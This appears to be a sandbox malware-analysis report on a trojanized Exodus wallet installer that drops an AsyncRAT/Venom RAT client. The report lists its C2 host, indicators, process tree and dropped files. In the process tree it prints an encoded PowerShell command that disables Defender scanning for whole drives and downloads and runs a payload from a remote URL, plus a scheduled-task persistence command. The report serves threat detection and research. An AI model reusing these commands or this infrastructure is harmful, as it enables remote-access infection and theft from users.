Analysis
-
max time kernel
139s -
max time network
158s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
02-10-2022 15:57
Static task
static1
Behavioral task
behavioral1
Sample
exodus-windows-x64-22.9.8.exe
Resource
win7-20220901-en
General
-
Target
exodus-windows-x64-22.9.8.exe
-
Size
14.6MB
-
MD5
ca131fbef972abf335bf3e6b1a35351f
-
SHA1
e749e8fab09bdcf34c7ea51a71da789220407547
-
SHA256
4644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956
-
SHA512
dc2b354acbeb29d06c9364b48cf13431b6a67fa4995c5667ec6d1511119763d67e92345a651a1649f072600cb42b858e84e78dc2b6b98370737a01b3cc81a1f7
-
SSDEEP
196608:m74MrKY0OTIFVog4I/fh5s3D0cnuiJAzZlX+Zt1Z7tPRW30M:IprKY0OTeKR8h5s3wcnM1lX+ZDlrW
Malware Config
Extracted
asyncrat
5.0.5
Exodus
operador.ddns.me:4448
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
-
delay
1
-
install
true
-
install_file
Exodus.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 11 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat behavioral1/memory/1188-75-0x0000000000CC0000-0x0000000000CD6000-memory.dmp asyncrat C:\Users\Admin\AppData\Roaming\Exodus.exe asyncrat C:\Users\Admin\AppData\Roaming\Exodus.exe asyncrat behavioral1/memory/764-84-0x00000000013A0000-0x00000000013B6000-memory.dmp asyncrat \Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe asyncrat behavioral1/memory/1820-108-0x0000000000B60000-0x0000000000B76000-memory.dmp asyncrat -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exepowershell.exeflow pid process 5 1664 powershell.exe 7 1664 powershell.exe 9 1664 powershell.exe 15 1736 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 4 IoCs
Processes:
Exodus-Windows.exeExodus.exeexodus-windows-x64-22.9.8.exeExodus-Windows.exepid process 1188 Exodus-Windows.exe 764 Exodus.exe 336 exodus-windows-x64-22.9.8.exe 1820 Exodus-Windows.exe -
Loads dropped DLL 2 IoCs
Processes:
powershell.exepowershell.exepid process 1664 powershell.exe 1736 powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
exodus-windows-x64-22.9.8.exeexodus-windows-x64-22.9.8.exedescription pid process target process PID 1700 set thread context of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 set thread context of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1600 timeout.exe -
Processes:
Exodus.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A Exodus.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Exodus.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Exodus.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeExodus-Windows.exepowershell.exepid process 1664 powershell.exe 1664 powershell.exe 1188 Exodus-Windows.exe 1736 powershell.exe 1736 powershell.exe 1736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
exodus-windows-x64-22.9.8.exepowershell.exeExodus-Windows.exeExodus.exeexodus-windows-x64-22.9.8.exepowershell.exeExodus-Windows.exedescription pid process Token: SeDebugPrivilege 1700 exodus-windows-x64-22.9.8.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeDebugPrivilege 1188 Exodus-Windows.exe Token: SeDebugPrivilege 764 Exodus.exe Token: SeDebugPrivilege 336 exodus-windows-x64-22.9.8.exe Token: SeDebugPrivilege 1736 powershell.exe Token: SeDebugPrivilege 1820 Exodus-Windows.exe -
Suspicious use of WriteProcessMemory 62 IoCs
Processes:
exodus-windows-x64-22.9.8.exeRegAsm.exepowershell.exeExodus-Windows.execmd.execmd.exetaskeng.exeexodus-windows-x64-22.9.8.exeRegAsm.exepowershell.exedescription pid process target process PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 1700 wrote to memory of 896 1700 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 896 wrote to memory of 1664 896 RegAsm.exe powershell.exe PID 896 wrote to memory of 1664 896 RegAsm.exe powershell.exe PID 896 wrote to memory of 1664 896 RegAsm.exe powershell.exe PID 896 wrote to memory of 1664 896 RegAsm.exe powershell.exe PID 1664 wrote to memory of 1188 1664 powershell.exe Exodus-Windows.exe PID 1664 wrote to memory of 1188 1664 powershell.exe Exodus-Windows.exe PID 1664 wrote to memory of 1188 1664 powershell.exe Exodus-Windows.exe PID 1664 wrote to memory of 1188 1664 powershell.exe Exodus-Windows.exe PID 1188 wrote to memory of 1928 1188 Exodus-Windows.exe cmd.exe PID 1188 wrote to memory of 1928 1188 Exodus-Windows.exe cmd.exe PID 1188 wrote to memory of 1928 1188 Exodus-Windows.exe cmd.exe PID 1188 wrote to memory of 1748 1188 Exodus-Windows.exe cmd.exe PID 1188 wrote to memory of 1748 1188 Exodus-Windows.exe cmd.exe PID 1188 wrote to memory of 1748 1188 Exodus-Windows.exe cmd.exe PID 1928 wrote to memory of 1948 1928 cmd.exe schtasks.exe PID 1928 wrote to memory of 1948 1928 cmd.exe schtasks.exe PID 1928 wrote to memory of 1948 1928 cmd.exe schtasks.exe PID 1748 wrote to memory of 1600 1748 cmd.exe timeout.exe PID 1748 wrote to memory of 1600 1748 cmd.exe timeout.exe PID 1748 wrote to memory of 1600 1748 cmd.exe timeout.exe PID 1748 wrote to memory of 764 1748 cmd.exe Exodus.exe PID 1748 wrote to memory of 764 1748 cmd.exe Exodus.exe PID 1748 wrote to memory of 764 1748 cmd.exe Exodus.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 1492 wrote to memory of 336 1492 taskeng.exe exodus-windows-x64-22.9.8.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 336 wrote to memory of 884 336 exodus-windows-x64-22.9.8.exe RegAsm.exe PID 884 wrote to memory of 1736 884 RegAsm.exe powershell.exe PID 884 wrote to memory of 1736 884 RegAsm.exe powershell.exe PID 884 wrote to memory of 1736 884 RegAsm.exe powershell.exe PID 884 wrote to memory of 1736 884 RegAsm.exe powershell.exe PID 1736 wrote to memory of 1820 1736 powershell.exe Exodus-Windows.exe PID 1736 wrote to memory of 1820 1736 powershell.exe Exodus-Windows.exe PID 1736 wrote to memory of 1820 1736 powershell.exe Exodus-Windows.exe PID 1736 wrote to memory of 1820 1736 powershell.exe Exodus-Windows.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe"C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB1AHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYQB1AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABpAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGUAeABvAGQAdQBzAGQAbwB3AG4AbABvAGEAZAAuAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACwAIAA8ACMAZQBtAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHIAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHcAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACkAKQA8ACMAdgBqAGcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AcwBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEUAeABvAGQAdQBzAC0AVwBpAG4AZABvAHcAcwAuAGUAeABlACcAKQA8ACMAaQBxAHgAIwA+AA=="3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Exodus" /tr '"C:\Users\Admin\AppData\Roaming\Exodus.exe"' & exit5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Exodus" /tr '"C:\Users\Admin\AppData\Roaming\Exodus.exe"'6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpF42F.tmp.bat""5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\Exodus.exe"C:\Users\Admin\AppData\Roaming\Exodus.exe"6⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {269A4E2A-367B-4FD8-9D5F-5B81CD74FCCB} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exeC:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAdgBtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB1AHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYQB1AGsAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABpAHYAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGUAeABvAGQAdQBzAGQAbwB3AG4AbABvAGEAZAAuAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACwAIAA8ACMAZQBtAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHIAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHcAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAHgAbwBkAHUAcwAtAFcAaQBuAGQAbwB3AHMALgBlAHgAZQAnACkAKQA8ACMAdgBqAGcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AcwBxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEUAeABvAGQAdQBzAC0AVwBpAG4AZABvAHcAcwAuAGUAeABlACcAKQA8ACMAaQBxAHgAIwA+AA=="4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
60KB
MD5d15aaa7c9be910a9898260767e2490e1
SHA12090c53f8d9fc3fbdbafd3a1e4dc25520eb74388
SHA256f8ebaaf487cba0c81a17c8cd680bdd2dd8e90d2114ecc54844cffc0cc647848e
SHA5127e1c1a683914b961b5cc2fe5e4ae288b60bab43bfaa21ce4972772aa0589615c19f57e672e1d93e50a7ed7b76fbd2f1b421089dcaed277120b93f8e91b18af94
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
342B
MD5206acb5e64ba119b8b9f5e7483c676e4
SHA1bccf77bf49e6258d52ab227821059cb1b2ec775e
SHA2561b37681a8bee4f933130ab4178a464158ef7d251a25e9207a10f986210bf9574
SHA512ad670563ac2b3b72e992d2f7ade5bff12d9dfbc52ed1c0a288e730e5fcbb15f53291eaf57445ca341b033ff31fd9de268190d50c2160144e9cb2544c97d85336
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Local\Temp\exodus-windows-x64-22.9.8.exeFilesize
14.6MB
MD5ca131fbef972abf335bf3e6b1a35351f
SHA1e749e8fab09bdcf34c7ea51a71da789220407547
SHA2564644d5d8f56afb7b2095ca5c209e840ad3a7dddaa294fa6a074283f0f6b1d956
SHA512dc2b354acbeb29d06c9364b48cf13431b6a67fa4995c5667ec6d1511119763d67e92345a651a1649f072600cb42b858e84e78dc2b6b98370737a01b3cc81a1f7
-
C:\Users\Admin\AppData\Local\Temp\tmpF42F.tmp.batFilesize
150B
MD59f1d179b2fe3932f0ef5501a6b306442
SHA1a24672972b703efe12aa8ca43e2fd908c716cd21
SHA256be05a9c778abe420a407dd8ed11df7d525fa3f7de7b9d91e46ed1b4b40482f6f
SHA5126e56c44df5b02108791f25d0c4b695c70abb39b77b35a55e611d1cc8465640710940d11678af83b38546a6117d04161161b6034ef952d38ba365a8cb0115582b
-
C:\Users\Admin\AppData\Roaming\Exodus.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Roaming\Exodus.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD5b1f6d3bb0aafa3cc30695dc53f47a3be
SHA16157b5395dbe353a425f53bf3f81dabffd8ff49c
SHA25651aeab15c6bf497c947acec9184461220a013f875863f2acadfcf716b416df93
SHA512de7d4006e555b5379e19e33e80394023be77c8721f5749a8edcb6d3249367681f3909daecd0c80a8982c19574f460fb45b97ef3050d21521ca2177313521188f
-
\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
SHA512f34b54504632f636ba26fccc14a8343f6cc5463b59b2f98b4ee4dd95147e9026db5aee911181e64273c6ee3a1c9f3f1e5c42d857e838d898992cbe006e977dab
-
\Users\Admin\AppData\Local\Temp\Exodus-Windows.exeFilesize
63KB
MD5c6edad994f3c41992614dbc4e87d92e4
SHA12418fd9580f534da9d7a730138e1534eb6b4fb79
SHA2565ff8a321017bf90a5f6de2176e5a9f2811bde5f9ad2bc8d68accf24802ee5806
